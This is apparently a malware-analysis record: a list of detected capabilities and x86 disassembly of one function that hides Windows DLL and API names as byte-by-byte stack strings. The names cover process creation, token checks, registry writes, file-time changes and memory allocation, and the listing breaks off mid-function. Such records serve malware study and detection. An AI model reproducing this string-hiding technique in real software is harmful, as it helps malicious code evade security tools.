Function at 0x405a10
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Parse pe header

Disassembly:
push ebp
push esp
pop ebp
mov eax, 0xd6d8
call fcn.0040b0e0
push ebx
nop
push 0x65
nop
pop ebx
mov cl, 0x33
mov al, 0x47
push esi
push edi
mov byte [ebp - 0x14], 0x6b
mov byte [ebp - 0x13], bl
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], bl
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], cl
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 8], 0
mov byte [ebp - 0x160], 0x6e
mov byte [ebp - 0x15f], 0x74
mov byte [ebp - 0x15e], 0x64
mov byte [ebp - 0x15d], 0x6c
mov byte [ebp - 0x15c], 0x6c
mov byte [ebp - 0x15b], 0x2e
mov byte [ebp - 0x15a], 0x64
mov byte [ebp - 0x159], 0x6c
mov byte [ebp - 0x158], 0x6c
mov byte [ebp - 0x157], 0
mov byte [ebp - 0x190], 0x73
mov byte [ebp - 0x18f], 0x68
mov byte [ebp - 0x18e], bl
mov byte [ebp - 0x18d], 0x6c
mov byte [ebp - 0x18c], 0x6c
mov byte [ebp - 0x18b], cl
mov byte [ebp - 0x18a], 0x32
mov byte [ebp - 0x189], 0x2e
mov byte [ebp - 0x188], 0x64
mov byte [ebp - 0x187], 0x6c
mov byte [ebp - 0x186], 0x6c
mov byte [ebp - 0x185], 0
mov byte [ebp - 0x7c], 0x61
mov byte [ebp - 0x7b], 0x64
mov byte [ebp - 0x7a], 0x76
mov byte [ebp - 0x79], 0x61
mov byte [ebp - 0x78], 0x70
mov byte [ebp - 0x77], 0x69
mov byte [ebp - 0x76], cl
mov byte [ebp - 0x75], 0x32
mov byte [ebp - 0x74], 0x2e
mov byte [ebp - 0x73], 0x64
mov byte [ebp - 0x72], 0x6c
mov byte [ebp - 0x71], 0x6c
mov byte [ebp - 0x70], 0
mov byte [ebp - 0x1a8], 0x70
mov byte [ebp - 0x1a7], 0x73
mov byte [ebp - 0x1a6], 0x61
mov byte [ebp - 0x1a5], 0x70
mov byte [ebp - 0x1a4], 0x69
mov byte [ebp - 0x1a3], 0x2e
mov byte [ebp - 0x1a2], 0x64
mov byte [ebp - 0x1a1], 0x6c
mov byte [ebp - 0x1a0], 0x6c
mov byte [ebp - 0x19f], 0
mov byte [ebp - 0x34c], al
mov byte [ebp - 0x34b], bl
mov byte [ebp - 0x34a], 0x74
mov byte [ebp - 0x349], 0x50
mov byte [ebp - 0x348], 0x72
mov byte [ebp - 0x347], 0x6f
mov byte [ebp - 0x346], 0x63
mov byte [ebp - 0x345], 0x41
mov byte [ebp - 0x344], 0x64
mov byte [ebp - 0x343], 0x64
mov byte [ebp - 0x342], 0x72
mov byte [ebp - 0x341], bl
mov byte [ebp - 0x340], 0x73
mov byte [ebp - 0x33f], 0x73
mov byte [ebp - 0x33e], 0
mov dl, 0x48
mov byte [ebp - 0x43c], al
mov byte [ebp - 0x43b], bl
mov byte [ebp - 0x43a], 0x74
mov byte [ebp - 0x439], 0x4d
mov byte [ebp - 0x438], 0x6f
mov byte [ebp - 0x437], 0x64
mov byte [ebp - 0x436], 0x75
mov byte [ebp - 0x435], 0x6c
mov byte [ebp - 0x434], bl
mov byte [ebp - 0x433], dl
mov byte [ebp - 0x432], 0x61
mov byte [ebp - 0x431], 0x6e
mov byte [ebp - 0x430], 0x64
mov byte [ebp - 0x42f], 0x6c
mov byte [ebp - 0x42e], bl
mov byte [ebp - 0x42d], 0x41
mov byte [ebp - 0x42c], 0
mov byte [ebp - 0x478], al
mov byte [ebp - 0x477], bl
mov byte [ebp - 0x476], 0x74
mov byte [ebp - 0x475], 0x4d
mov byte [ebp - 0x474], 0x6f
mov byte [ebp - 0x473], 0x64
mov byte [ebp - 0x472], 0x75
mov byte [ebp - 0x471], 0x6c
mov byte [ebp - 0x470], bl
mov byte [ebp - 0x46f], 0x46
mov byte [ebp - 0x46e], 0x69
mov byte [ebp - 0x46d], 0x6c
mov byte [ebp - 0x46c], bl
mov byte [ebp - 0x46b], 0x4e
mov byte [ebp - 0x46a], 0x61
mov byte [ebp - 0x469], 0x6d
mov byte [ebp - 0x468], bl
mov byte [ebp - 0x467], 0x41
mov byte [ebp - 0x466], 0
mov byte [ebp - 0x464], al
mov byte [ebp - 0x463], bl
mov byte [ebp - 0x462], 0x74
mov byte [ebp - 0x461], 0x4d
mov byte [ebp - 0x460], 0x6f
mov byte [ebp - 0x45f], 0x64
mov byte [ebp - 0x45e], 0x75
mov byte [ebp - 0x45d], 0x6c
mov byte [ebp - 0x45c], bl
mov byte [ebp - 0x45b], 0x46
mov byte [ebp - 0x45a], 0x69
mov byte [ebp - 0x459], 0x6c
mov byte [ebp - 0x458], bl
mov byte [ebp - 0x457], 0x4e
mov byte [ebp - 0x456], 0x61
mov byte [ebp - 0x455], 0x6d
mov byte [ebp - 0x454], bl
mov byte [ebp - 0x453], 0x57
mov byte [ebp - 0x452], 0
mov byte [ebp - 0x1dc], 0x43
mov byte [ebp - 0x1db], 0x72
mov byte [ebp - 0x1da], bl
mov byte [ebp - 0x1d9], 0x61
mov byte [ebp - 0x1d8], 0x74
mov byte [ebp - 0x1d7], bl
mov byte [ebp - 0x1d6], 0x50
mov byte [ebp - 0x1d5], 0x72
mov byte [ebp - 0x1d4], 0x6f
mov byte [ebp - 0x1d3], 0x63
mov byte [ebp - 0x1d2], bl
mov byte [ebp - 0x1d1], 0x73
mov byte [ebp - 0x1d0], 0x73
mov byte [ebp - 0x1cf], 0x41
mov byte [ebp - 0x1ce], 0
mov byte [ebp - 0x1ec], 0x43
mov byte [ebp - 0x1eb], 0x72
mov byte [ebp - 0x1ea], bl
mov byte [ebp - 0x1e9], 0x61
mov byte [ebp - 0x1e8], 0x74
mov byte [ebp - 0x1e7], bl
mov byte [ebp - 0x1e6], 0x50
mov byte [ebp - 0x1e5], 0x72
mov byte [ebp - 0x1e4], 0x6f
mov byte [ebp - 0x1e3], 0x63
mov byte [ebp - 0x1e2], bl
mov byte [ebp - 0x1e1], 0x73
mov byte [ebp - 0x1e0], 0x73
mov byte [ebp - 0x1df], 0x57
mov byte [ebp - 0x1de], 0
mov byte [ebp - 0x598], 0x43
mov byte [ebp - 0x597], 0x72
mov byte [ebp - 0x596], bl
mov byte [ebp - 0x595], 0x61
mov byte [ebp - 0x594], 0x74
mov byte [ebp - 0x593], bl
mov byte [ebp - 0x592], 0x54
mov byte [ebp - 0x591], 0x6f
mov byte [ebp - 0x590], 0x6f
mov byte [ebp - 0x58f], 0x6c
mov byte [ebp - 0x58e], 0x68
mov byte [ebp - 0x58d], bl
mov byte [ebp - 0x58c], 0x6c
mov byte [ebp - 0x58b], 0x70
mov byte [ebp - 0x58a], cl
mov byte [ebp - 0x589], 0x32
mov byte [ebp - 0x588], 0x53
mov byte [ebp - 0x587], 0x6e
mov byte [ebp - 0x586], 0x61
mov byte [ebp - 0x585], 0x70
mov byte [ebp - 0x584], 0x73
mov byte [ebp - 0x583], 0x68
mov byte [ebp - 0x582], 0x6f
mov byte [ebp - 0x581], 0x74
mov byte [ebp - 0x580], 0
mov byte [ebp - 0x35c], 0x50
mov byte [ebp - 0x35b], 0x72
mov byte [ebp - 0x35a], 0x6f
mov byte [ebp - 0x359], 0x63
mov byte [ebp - 0x358], bl
mov byte [ebp - 0x357], 0x73
mov byte [ebp - 0x356], 0x73
mov byte [ebp - 0x355], cl
mov byte [ebp - 0x354], 0x32
mov byte [ebp - 0x353], 0x46
mov byte [ebp - 0x352], 0x69
mov byte [ebp - 0x351], 0x72
mov byte [ebp - 0x350], 0x73
mov byte [ebp - 0x34f], 0x74
mov byte [ebp - 0x34e], 0
mov byte [ebp - 0x31c], 0x50
mov byte [ebp - 0x31b], 0x72
mov byte [ebp - 0x31a], 0x6f
mov byte [ebp - 0x319], 0x63
mov byte [ebp - 0x318], bl
mov byte [ebp - 0x317], 0x73
mov byte [ebp - 0x316], 0x73
mov byte [ebp - 0x315], cl
mov byte [ebp - 0x314], 0x32
mov byte [ebp - 0x313], 0x4e
mov byte [ebp - 0x312], bl
mov byte [ebp - 0x311], 0x78
mov byte [ebp - 0x310], 0x74
mov byte [ebp - 0x30f], 0
mov byte [ebp - 0x2fc], 0x4d
mov byte [ebp - 0x2fb], 0x6f
mov byte [ebp - 0x2fa], 0x64
mov byte [ebp - 0x2f9], 0x75
mov byte [ebp - 0x2f8], 0x6c
mov byte [ebp - 0x2f7], bl
mov byte [ebp - 0x2f6], cl
mov byte [ebp - 0x2f5], 0x32
mov byte [ebp - 0x2f4], 0x46
mov byte [ebp - 0x2f3], 0x69
mov byte [ebp - 0x2f2], 0x72
mov byte [ebp - 0x2f1], 0x73
mov byte [ebp - 0x2f0], 0x74
mov byte [ebp - 0x2ef], 0
mov byte [ebp - 0x2a8], 0x4d
mov byte [ebp - 0x2a7], 0x6f
mov byte [ebp - 0x2a6], 0x64
mov byte [ebp - 0x2a5], 0x75
mov byte [ebp - 0x2a4], 0x6c
mov byte [ebp - 0x2a3], bl
mov byte [ebp - 0x2a2], cl
mov byte [ebp - 0x2a1], 0x32
mov byte [ebp - 0x2a0], 0x4e
mov byte [ebp - 0x29f], bl
mov byte [ebp - 0x29e], 0x78
mov byte [ebp - 0x29d], 0x74
mov byte [ebp - 0x29c], 0
mov byte [ebp - 0x154], 0x43
mov byte [ebp - 0x153], 0x6c
mov byte [ebp - 0x152], 0x6f
mov byte [ebp - 0x151], 0x73
mov byte [ebp - 0x150], bl
mov byte [ebp - 0x14f], dl
mov byte [ebp - 0x14e], 0x61
mov byte [ebp - 0x14d], 0x6e
mov byte [ebp - 0x14c], 0x64
mov byte [ebp - 0x14b], 0x6c
mov byte [ebp - 0x14a], bl
mov byte [ebp - 0x149], 0
mov byte [ebp - 0x2cc], al
mov byte [ebp - 0x2cb], bl
mov byte [ebp - 0x2ca], 0x74
mov byte [ebp - 0x2c9], 0x43
mov byte [ebp - 0x2c8], 0x75
mov byte [ebp - 0x2c7], 0x72
mov byte [ebp - 0x2c6], 0x72
mov byte [ebp - 0x2c5], bl
mov byte [ebp - 0x2c4], 0x6e
mov byte [ebp - 0x2c3], 0x74
mov byte [ebp - 0x2c2], 0x50
mov byte [ebp - 0x2c1], 0x72
mov byte [ebp - 0x2c0], 0x6f
mov byte [ebp - 0x2bf], 0x63
mov byte [ebp - 0x2be], bl
mov byte [ebp - 0x2bd], 0x73
mov byte [ebp - 0x2bc], 0x73
mov byte [ebp - 0x2bb], 0
mov byte [ebp - 0x184], al
mov byte [ebp - 0x183], 0x6c
mov byte [ebp - 0x182], 0x6f
mov byte [ebp - 0x181], 0x62
mov byte [ebp - 0x180], 0x61
mov byte [ebp - 0x17f], 0x6c
mov byte [ebp - 0x17e], 0x41
mov byte [ebp - 0x17d], 0x6c
mov byte [ebp - 0x17c], 0x6c
mov byte [ebp - 0x17b], 0x6f
mov byte [ebp - 0x17a], 0x63
mov byte [ebp - 0x179], 0
mov byte [ebp - 0x414], 0x4f
mov byte [ebp - 0x413], 0x70
mov byte [ebp - 0x412], bl
mov byte [ebp - 0x411], 0x6e
mov byte [ebp - 0x410], 0x50
mov byte [ebp - 0x40f], 0x72
mov byte [ebp - 0x40e], 0x6f
mov byte [ebp - 0x40d], 0x63
mov byte [ebp - 0x40c], bl
mov byte [ebp - 0x40b], 0x73
mov byte [ebp - 0x40a], 0x73
mov byte [ebp - 0x409], 0x54
mov byte [ebp - 0x408], 0x6f
mov byte [ebp - 0x407], 0x6b
mov byte [ebp - 0x406], bl
mov byte [ebp - 0x405], 0x6e
mov byte [ebp - 0x404], 0
mov byte [ebp - 0x4c8], al
mov byte [ebp - 0x4c7], bl
mov byte [ebp - 0x4c6], 0x74
mov byte [ebp - 0x4c5], 0x54
mov byte [ebp - 0x4c4], 0x6f
mov byte [ebp - 0x4c3], 0x6b
mov byte [ebp - 0x4c2], bl
mov byte [ebp - 0x4c1], 0x6e
mov byte [ebp - 0x4c0], 0x49
mov byte [ebp - 0x4bf], 0x6e
mov byte [ebp - 0x4be], 0x66
mov byte [ebp - 0x4bd], 0x6f
mov byte [ebp - 0x4bc], 0x72
mov byte [ebp - 0x4bb], 0x6d
mov byte [ebp - 0x4ba], 0x61
mov byte [ebp - 0x4b9], 0x74
mov byte [ebp - 0x4b8], 0x69
mov byte [ebp - 0x4b7], 0x6f
mov byte [ebp - 0x4b6], 0x6e
mov byte [ebp - 0x4b5], 0
mov byte [ebp - 0x57c], 0x41
mov byte [ebp - 0x57b], 0x6c
mov byte [ebp - 0x57a], 0x6c
mov byte [ebp - 0x579], 0x6f
mov byte [ebp - 0x578], 0x63
mov byte [ebp - 0x577], 0x61
mov byte [ebp - 0x576], 0x74
mov byte [ebp - 0x575], bl
mov byte [ebp - 0x574], 0x41
mov byte [ebp - 0x573], 0x6e
mov byte [ebp - 0x572], 0x64
mov byte [ebp - 0x571], 0x49
mov byte [ebp - 0x570], 0x6e
mov byte [ebp - 0x56f], 0x69
mov byte [ebp - 0x56e], 0x74
mov byte [ebp - 0x56d], 0x69
mov byte [ebp - 0x56c], 0x61
mov byte [ebp - 0x56b], 0x6c
mov byte [ebp - 0x56a], 0x69
mov byte [ebp - 0x569], 0x7a
mov byte [ebp - 0x568], bl
mov byte [ebp - 0x567], 0x53
mov byte [ebp - 0x566], 0x69
mov byte [ebp - 0x565], 0x64
mov byte [ebp - 0x564], 0
mov byte [ebp - 0x19c], 0x45
mov byte [ebp - 0x19b], 0x71
mov byte [ebp - 0x19a], 0x75
mov byte [ebp - 0x199], 0x61
mov byte [ebp - 0x198], 0x6c
mov byte [ebp - 0x197], 0x53
mov byte [ebp - 0x196], 0x69
mov byte [ebp - 0x195], 0x64
mov byte [ebp - 0x194], 0
mov byte [ebp - 0x450], 0x4c
mov byte [ebp - 0x44f], 0x6f
mov byte [ebp - 0x44e], 0x6f
mov byte [ebp - 0x44d], 0x6b
mov byte [ebp - 0x44c], 0x75
mov byte [ebp - 0x44b], 0x70
mov byte [ebp - 0x44a], 0x41
mov byte [ebp - 0x449], 0x63
mov byte [ebp - 0x448], 0x63
mov byte [ebp - 0x447], 0x6f
mov byte [ebp - 0x446], 0x75
mov byte [ebp - 0x445], 0x6e
mov byte [ebp - 0x444], 0x74
mov byte [ebp - 0x443], 0x53
mov byte [ebp - 0x442], 0x69
mov byte [ebp - 0x441], 0x64
mov byte [ebp - 0x440], 0x41
mov byte [ebp - 0x43f], 0
mov byte [ebp - 0x1cc], 0x4f
mov byte [ebp - 0x1cb], 0x70
mov byte [ebp - 0x1ca], bl
mov byte [ebp - 0x1c9], 0x6e
mov byte [ebp - 0x1c8], 0x4d
mov byte [ebp - 0x1c7], 0x75
mov byte [ebp - 0x1c6], 0x74
mov byte [ebp - 0x1c5], bl
mov byte [ebp - 0x1c4], 0x78
mov byte [ebp - 0x1c3], 0x41
mov byte [ebp - 0x1c2], 0
mov byte [ebp - 0x288], 0x43
mov byte [ebp - 0x287], 0x72
mov byte [ebp - 0x286], bl
mov byte [ebp - 0x285], 0x61
mov byte [ebp - 0x284], 0x74
mov byte [ebp - 0x283], bl
mov byte [ebp - 0x282], 0x4d
mov byte [ebp - 0x281], 0x75
mov byte [ebp - 0x280], 0x74
mov byte [ebp - 0x27f], bl
mov byte [ebp - 0x27e], 0x78
mov byte [ebp - 0x27d], 0x41
mov byte [ebp - 0x27c], 0
mov byte [ebp - 0x240], 0x43
mov byte [ebp - 0x23f], 0x72
mov byte [ebp - 0x23e], bl
mov byte [ebp - 0x23d], 0x61
mov byte [ebp - 0x23c], 0x74
mov byte [ebp - 0x23b], bl
mov byte [ebp - 0x23a], 0x46
mov byte [ebp - 0x239], 0x69
mov byte [ebp - 0x238], 0x6c
mov byte [ebp - 0x237], bl
mov byte [ebp - 0x236], 0x41
mov byte [ebp - 0x235], 0
mov byte [ebp - 0x22c], 0x43
mov byte [ebp - 0x22b], 0x72
mov byte [ebp - 0x22a], bl
mov byte [ebp - 0x229], 0x61
mov byte [ebp - 0x228], 0x74
mov byte [ebp - 0x227], bl
mov byte [ebp - 0x226], 0x46
mov byte [ebp - 0x225], 0x69
mov byte [ebp - 0x224], 0x6c
mov byte [ebp - 0x223], bl
mov byte [ebp - 0x222], 0x57
mov byte [ebp - 0x221], 0
mov byte [ebp - 0x24c], al
mov byte [ebp - 0x24b], bl
mov byte [ebp - 0x24a], 0x74
mov byte [ebp - 0x249], 0x46
mov byte [ebp - 0x248], 0x69
mov byte [ebp - 0x247], 0x6c
mov byte [ebp - 0x246], bl
mov byte [ebp - 0x245], 0x53
mov byte [ebp - 0x244], 0x69
mov byte [ebp - 0x243], 0x7a
mov byte [ebp - 0x242], bl
mov byte [ebp - 0x241], 0
mov byte [ebp - 0x178], 0x52
mov byte [ebp - 0x177], bl
mov byte [ebp - 0x176], 0x61
mov byte [ebp - 0x175], 0x64
mov byte [ebp - 0x174], 0x46
mov byte [ebp - 0x173], 0x69
mov byte [ebp - 0x172], 0x6c
mov byte [ebp - 0x171], bl
mov byte [ebp - 0x170], 0
mov byte [ebp - 0x4b4], al
mov byte [ebp - 0x4b3], bl
mov byte [ebp - 0x4b2], 0x74
mov byte [ebp - 0x4b1], 0x53
mov byte [ebp - 0x4b0], 0x79
mov byte [ebp - 0x4af], 0x73
mov byte [ebp - 0x4ae], 0x74
mov byte [ebp - 0x4ad], bl
mov byte [ebp - 0x4ac], 0x6d
mov byte [ebp - 0x4ab], 0x44
mov byte [ebp - 0x4aa], 0x69
mov byte [ebp - 0x4a9], 0x72
mov byte [ebp - 0x4a8], bl
mov byte [ebp - 0x4a7], 0x63
mov byte [ebp - 0x4a6], 0x74
mov byte [ebp - 0x4a5], 0x6f
mov byte [ebp - 0x4a4], 0x72
mov byte [ebp - 0x4a3], 0x79
mov byte [ebp - 0x4a2], 0x41
mov byte [ebp - 0x4a1], 0
mov byte [ebp - 0x4dc], al
mov byte [ebp - 0x4db], bl
mov byte [ebp - 0x4da], 0x74
mov byte [ebp - 0x4d9], 0x53
mov byte [ebp - 0x4d8], 0x79
mov byte [ebp - 0x4d7], 0x73
mov byte [ebp - 0x4d6], 0x74
mov byte [ebp - 0x4d5], bl
mov byte [ebp - 0x4d4], 0x6d
mov byte [ebp - 0x4d3], 0x44
mov byte [ebp - 0x4d2], 0x69
mov byte [ebp - 0x4d1], 0x72
mov byte [ebp - 0x4d0], bl
mov byte [ebp - 0x4cf], 0x63
mov byte [ebp - 0x4ce], 0x74
mov byte [ebp - 0x4cd], 0x6f
mov byte [ebp - 0x4cc], 0x72
mov byte [ebp - 0x4cb], 0x79
mov byte [ebp - 0x4ca], 0x57
mov byte [ebp - 0x4c9], 0
mov byte [ebp - 0x48c], 0x53
mov byte [ebp - 0x48b], bl
mov byte [ebp - 0x48a], 0x74
mov byte [ebp - 0x489], 0x46
mov byte [ebp - 0x488], 0x69
mov byte [ebp - 0x487], 0x6c
mov byte [ebp - 0x486], bl
mov byte [ebp - 0x485], 0x41
mov byte [ebp - 0x484], 0x74
mov byte [ebp - 0x483], 0x74
mov byte [ebp - 0x482], 0x72
mov byte [ebp - 0x481], 0x69
mov byte [ebp - 0x480], 0x62
mov byte [ebp - 0x47f], 0x75
mov byte [ebp - 0x47e], 0x74
mov byte [ebp - 0x47d], bl
mov byte [ebp - 0x47c], 0x73
mov byte [ebp - 0x47b], 0x57
mov byte [ebp - 0x47a], 0
mov byte [ebp - 0x204], 0x4d
mov byte [ebp - 0x203], 0x6f
mov byte [ebp - 0x202], 0x76
mov byte [ebp - 0x201], bl
mov byte [ebp - 0x200], 0x46
mov byte [ebp - 0x1ff], 0x69
mov byte [ebp - 0x1fe], 0x6c
mov byte [ebp - 0x1fd], bl
mov byte [ebp - 0x1fc], 0x45
mov byte [ebp - 0x1fb], 0x78
mov byte [ebp - 0x1fa], 0x57
mov byte [ebp - 0x1f9], 0
mov byte [ebp - 0x560], 0x53
mov byte [ebp - 0x55f], dl
mov byte [ebp - 0x55e], al
mov byte [ebp - 0x55d], bl
mov byte [ebp - 0x55c], 0x74
mov byte [ebp - 0x55b], 0x53
mov byte [ebp - 0x55a], 0x70
mov byte [ebp - 0x559], bl
mov byte [ebp - 0x558], 0x63
mov byte [ebp - 0x557], 0x69
mov byte [ebp - 0x556], 0x61
mov byte [ebp - 0x555], 0x6c
mov byte [ebp - 0x554], 0x46
mov byte [ebp - 0x553], 0x6f
mov byte [ebp - 0x552], 0x6c
mov byte [ebp - 0x551], 0x64
mov byte [ebp - 0x550], bl
mov byte [ebp - 0x54f], 0x72
mov byte [ebp - 0x54e], 0x50
mov byte [ebp - 0x54d], 0x61
mov byte [ebp - 0x54c], 0x74
mov byte [ebp - 0x54b], 0x68
mov byte [ebp - 0x54a], 0x41
mov byte [ebp - 0x549], 0
mov byte [ebp - 0x548], 0x53
mov byte [ebp - 0x547], dl
mov byte [ebp - 0x546], al
mov byte [ebp - 0x545], bl
mov byte [ebp - 0x544], 0x74
mov byte [ebp - 0x543], 0x53
mov byte [ebp - 0x542], 0x70
mov byte [ebp - 0x541], bl
mov byte [ebp - 0x540], 0x63
mov byte [ebp - 0x53f], 0x69
mov byte [ebp - 0x53e], 0x61
mov byte [ebp - 0x53d], 0x6c
mov byte [ebp - 0x53c], 0x46
mov byte [ebp - 0x53b], 0x6f
mov byte [ebp - 0x53a], 0x6c
mov byte [ebp - 0x539], 0x64
mov byte [ebp - 0x538], bl
mov byte [ebp - 0x537], 0x72
mov byte [ebp - 0x536], 0x50
mov byte [ebp - 0x535], 0x61
mov byte [ebp - 0x534], 0x74
mov byte [ebp - 0x533], 0x68
mov byte [ebp - 0x532], 0x57
mov byte [ebp - 0x531], 0
mov cl, 0x4b
mov byte [ebp - 0x2ec], 0x52
mov byte [ebp - 0x2eb], bl
mov byte [ebp - 0x2ea], 0x67
mov byte [ebp - 0x2e9], 0x4f
mov byte [ebp - 0x2e8], 0x70
mov byte [ebp - 0x2e7], bl
mov byte [ebp - 0x2e6], 0x6e
mov byte [ebp - 0x2e5], cl
mov byte [ebp - 0x2e4], bl
mov byte [ebp - 0x2e3], 0x79
mov byte [ebp - 0x2e2], 0x45
mov byte [ebp - 0x2e1], 0x78
mov byte [ebp - 0x2e0], 0x41
mov byte [ebp - 0x2df], 0
mov byte [ebp - 0x2dc], 0x52
mov byte [ebp - 0x2db], bl
mov byte [ebp - 0x2da], 0x67
mov byte [ebp - 0x2d9], 0x4f
mov byte [ebp - 0x2d8], 0x70
mov byte [ebp - 0x2d7], bl
mov byte [ebp - 0x2d6], 0x6e
mov byte [ebp - 0x2d5], cl
mov byte [ebp - 0x2d4], bl
mov byte [ebp - 0x2d3], 0x79
mov byte [ebp - 0x2d2], 0x45
mov byte [ebp - 0x2d1], 0x78
mov byte [ebp - 0x2d0], 0x57
mov byte [ebp - 0x2cf], 0
mov byte [ebp - 0x36c], 0x52
mov byte [ebp - 0x36b], bl
mov byte [ebp - 0x36a], 0x67
mov byte [ebp - 0x369], 0x53
mov byte [ebp - 0x368], bl
mov byte [ebp - 0x367], 0x74
mov byte [ebp - 0x366], 0x56
mov byte [ebp - 0x365], 0x61
mov byte [ebp - 0x364], 0x6c
mov byte [ebp - 0x363], 0x75
mov byte [ebp - 0x362], bl
mov byte [ebp - 0x361], 0x45
mov byte [ebp - 0x360], 0x78
mov byte [ebp - 0x35f], 0x41
mov byte [ebp - 0x35e], 0
mov byte [ebp - 0x33c], 0x52
mov byte [ebp - 0x33b], bl
mov byte [ebp - 0x33a], 0x67
mov byte [ebp - 0x339], 0x53
mov byte [ebp - 0x338], bl
mov byte [ebp - 0x337], 0x74
mov byte [ebp - 0x336], 0x56
mov byte [ebp - 0x335], 0x61
mov byte [ebp - 0x334], 0x6c
mov byte [ebp - 0x333], 0x75
mov byte [ebp - 0x332], bl
mov byte [ebp - 0x331], 0x45
mov byte [ebp - 0x330], 0x78
mov byte [ebp - 0x32f], 0x57
mov byte [ebp - 0x32e], 0
mov byte [ebp - 0x3b0], 0x52
mov byte [ebp - 0x3af], bl
mov byte [ebp - 0x3ae], 0x67
mov byte [ebp - 0x3ad], 0x51
mov byte [ebp - 0x3ac], 0x75
mov byte [ebp - 0x3ab], bl
mov byte [ebp - 0x3aa], 0x72
mov byte [ebp - 0x3a9], 0x79
mov byte [ebp - 0x3a8], 0x56
mov byte [ebp - 0x3a7], 0x61
mov byte [ebp - 0x3a6], 0x6c
mov byte [ebp - 0x3a5], 0x75
mov byte [ebp - 0x3a4], bl
mov byte [ebp - 0x3a3], 0x45
mov byte [ebp - 0x3a2], 0x78
mov byte [ebp - 0x3a1], 0x41
mov byte [ebp - 0x3a0], 0
mov byte [ebp - 0x3d8], 0x52
mov byte [ebp - 0x3d7], bl
mov byte [ebp - 0x3d6], 0x67
mov byte [ebp - 0x3d5], 0x51
mov byte [ebp - 0x3d4], 0x75
mov byte [ebp - 0x3d3], bl
mov byte [ebp - 0x3d2], 0x72
mov byte [ebp - 0x3d1], 0x79
mov byte [ebp - 0x3d0], 0x56
mov byte [ebp - 0x3cf], 0x61
mov byte [ebp - 0x3ce], 0x6c
mov byte [ebp - 0x3cd], 0x75
mov byte [ebp - 0x3cc], bl
mov byte [ebp - 0x3cb], 0x45
mov byte [ebp - 0x3ca], 0x78
mov byte [ebp - 0x3c9], 0x57
mov byte [ebp - 0x3c8], 0
mov byte [ebp - 0x1f8], 0x52
mov byte [ebp - 0x1f7], bl
mov byte [ebp - 0x1f6], 0x67
mov byte [ebp - 0x1f5], 0x43
mov byte [ebp - 0x1f4], 0x6c
mov byte [ebp - 0x1f3], 0x6f
mov byte [ebp - 0x1f2], 0x73
mov byte [ebp - 0x1f1], bl
mov byte [ebp - 0x1f0], cl
mov byte [ebp - 0x1ef], bl
mov byte [ebp - 0x1ee], 0x79
mov byte [ebp - 0x1ed], 0
mov byte [ebp - 0x400], 0x43
mov byte [ebp - 0x3ff], 0x72
mov byte [ebp - 0x3fe], bl
mov byte [ebp - 0x3fd], 0x61
mov byte [ebp - 0x3fc], 0x74
mov byte [ebp - 0x3fb], bl
mov byte [ebp - 0x3fa], 0x44
mov byte [ebp - 0x3f9], 0x69
mov byte [ebp - 0x3f8], 0x72
mov byte [ebp - 0x3f7], bl
mov byte [ebp - 0x3f6], 0x63
mov byte [ebp - 0x3f5], 0x74
mov byte [ebp - 0x3f4], 0x6f
mov byte [ebp - 0x3f3], 0x72
mov byte [ebp - 0x3f2], 0x79
mov byte [ebp - 0x3f1], 0x57
mov byte [ebp - 0x3f0], 0
mov byte [ebp - 0x16c], 0x45
mov byte [ebp - 0x16b], 0x78
mov byte [ebp - 0x16a], 0x69
mov byte [ebp - 0x169], 0x74
mov byte [ebp - 0x168], 0x50
mov byte [ebp - 0x167], 0x72
mov byte [ebp - 0x166], 0x6f
mov byte [ebp - 0x165], 0x63
mov byte [ebp - 0x164], bl
mov byte [ebp - 0x163], 0x73
mov byte [ebp - 0x162], 0x73
mov byte [ebp - 0x161], 0
mov byte [ebp - 0x12c], 0x53
mov byte [ebp - 0x12b], 0x6c
mov byte [ebp - 0x12a], bl
mov byte [ebp - 0x129], bl
mov byte [ebp - 0x128], 0x70
mov byte [ebp - 0x127], 0
mov byte [ebp - 0x210], al
mov byte [ebp - 0x20f], bl
mov byte [ebp - 0x20e], 0x74
mov byte [ebp - 0x20d], 0x46
mov byte [ebp - 0x20c], 0x69
mov byte [ebp - 0x20b], 0x6c
mov byte [ebp - 0x20a], bl
mov byte [ebp - 0x209], 0x54
mov byte [ebp - 0x208], 0x69
mov byte [ebp - 0x207], 0x6d
mov byte [ebp - 0x206], bl
mov byte [ebp - 0x205], 0
mov byte [ebp - 0x268], 0x53
mov byte [ebp - 0x267], bl
mov byte [ebp - 0x266], 0x74
mov byte [ebp - 0x265], 0x46
mov byte [ebp - 0x264], 0x69
mov byte [ebp - 0x263], 0x6c
mov byte [ebp - 0x262], bl
mov byte [ebp - 0x261], 0x54
mov byte [ebp - 0x260], 0x69
mov byte [ebp - 0x25f], 0x6d
mov byte [ebp - 0x25e], bl
mov byte [ebp - 0x25d], 0
mov byte [ebp - 0x1c0], 0x43
mov byte [ebp - 0x1bf], 0x6f
mov byte [ebp - 0x1be], 0x70
mov byte [ebp - 0x1bd], 0x79
mov byte [ebp - 0x1bc], 0x46
mov byte [ebp - 0x1bb], 0x69
mov byte [ebp - 0x1ba], 0x6c
mov byte [ebp - 0x1b9], bl
mov byte [ebp - 0x1b8], 0x57
mov byte [ebp - 0x1b7], 0
mov byte [ebp - 0x258], 0x44
mov byte [ebp - 0x257], bl
mov byte [ebp - 0x256], 0x6c
mov byte [ebp - 0x255], bl
mov byte [ebp - 0x254], 0x74
mov byte [ebp - 0x253], bl
mov byte [ebp - 0x252], 0x46
mov byte [ebp - 0x251], 0x69
mov byte [ebp - 0x250], 0x6c
mov byte [ebp - 0x24f], bl
mov byte [ebp - 0x24e], 0x57
mov byte [ebp - 0x24d], 0
mov byte [ebp - 0x2b8], 0x56
mov byte [ebp - 0x2b7], 0x69
mov byte [ebp - 0x2b6], 0x72
mov byte [ebp - 0x2b5], 0x74
mov byte [ebp - 0x2b4], 0x75
mov byte [ebp - 0x2b3], 0x61
mov byte [ebp - 0x2b2], 0x6c
mov byte [ebp - 0x2b1], 0x41
mov byte [ebp - 0x2b0], 0x6c
mov byte [ebp - 0x2af], 0x6c
mov byte [ebp - 0x2ae], 0x6f
mov byte [ebp - 0x2ad], 0x63
mov byte [ebp - 0x2ac], 0
mov byte [ebp - 0x298], al
